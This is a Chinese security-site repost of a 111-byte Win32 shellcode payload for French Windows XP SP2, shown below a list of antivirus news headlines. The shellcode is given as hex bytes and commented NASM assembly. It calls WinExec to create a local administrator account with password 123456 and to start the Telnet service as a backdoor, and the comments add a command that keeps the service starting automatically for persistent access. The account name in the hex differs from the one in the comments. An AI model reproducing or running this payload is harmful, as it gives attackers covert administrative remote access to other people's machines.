当前位置: 首页 > 图文教程 > 网络安全 > 杀毒防毒 > shellcode增加管理员账户开telnet

杀毒防毒
病毒中心监测发现代理木马新变种
及时修补第三方应用程序漏洞 避免木马的温床
360发布临时补丁 严防微软DirectShow漏洞
专家支招防范微软DirectShow的严重漏洞 
婚介网遭挂马导致用户隐私可能集体被盗
VB100六月测试结果公布 - 金山毒霸连续第4次通过
教你如何删除卡巴斯基临时文件 释放更多空间
蠕虫创建多重替身 利用伪装术迷惑用户
卡巴技巧:禁止恶意程序修改IE7搜索框
赛门铁克:为中小企业定制SEP安全部署
如何恢复磁盘被非法修改的文件?
杀毒软件行不行?测了就知道
检查电脑是否被挂马的几个命令
教你防范IP欺骗
清除rundll2kxp.exe病毒跟我学
微软“Morro”免费杀毒软件-360的强大对手
让你的360升级加速器不再升级的方法
教你使用dos命令扫描开放端口
三种经典的LINUX防火墙
病毒的传播新途径-视频

杀毒防毒 中的 shellcode增加管理员账户开telnet


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-10-20   浏览: 41 ::
收藏到网摘: n/a

  ; payload:add admin acount & Telnet Listening
  ; Author: DATA_SNIPER
  ; size:111 bytes
  ; platform:WIN32/XP SP2 FR
  ; thanks:Arab4services team & AT4RE Team
  ; more info: visit my blog http://datasniper.arab4services.net
  ; The Sh3llcode:
  ; "\xEB\x08\xBA\x4D\x11\x86\x7C\xFF\xD2\xCC\xE8\xF3\xFF\xFF\xFF\x63\x6D\x64\x20\x2F\x63"
  ; "\x20\x6E\x65\x74\x20\x75\x73\x65\x72\x20\x68\x69\x6C\x6C\x20\x31\x32\x33\x34\x35"
  ; "\x36\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x6E\x65\x74\x20\x6C\x6F\x63\x61\x6C\x67"
  ; "\x72\x6F\x75\x70\x20\x41\x64\x6D\x69\x6E\x69\x73\x74\x72\x61\x74\x65\x75\x72\x73"
  ; "\x20\x68\x69\x6C\x6C\x20\x2F\x41\x44\x44\x20\x26\x26\x20\x73\x63\x20\x73\x74\x61"
  ; "\x72\x74\x20\x54\x6C\x6E\x74\x53\x76\x72\x00"
  ; Description: it's simular to TCP BindShell on port 23,throught Command execution we can get shell access throught telnet service on Windows b0x.
  ; Add admin account command user=GAZZA ,pass=123456 :cmd /c net user GAZZA 123456 /ADD && net localgroup Administrateurs GAZZA /ADD
  ; Start telnet service: sc start TlntSvr
  ; For saving ur access to the B0x again and again :),u can use this command:
  ; "sc config TlntSvr start= auto &  sc start TlntSvr" instead of:
  ; "sc start TlntSvr"
  ; NASM -s -fbin telnetbind.asm
  BITS 32
  db 0EBh,08h    ;such as "jmp Data" ,i puted it in opcode format for avoiding null problem.
  Exec:
  MOV EDX,7C86114Dh ;WinExec addr in WIN XP SP2 FR
  CALL EDX
  INT3 ;just interrupter (hung the shellcode after it do his job,any way u can use ExitProcess) for avoiding infinite loop
  Data:
  CALL Exec
  db 'cmd /c net user GAZZA 123456 /ADD & net localgroup Administrateurs GAZZA /ADD & sc start TlntSvr',00h
  ;add user GAZA with 123456 password and start telnet service ;BTW the exstension cuted for saving som byte ;)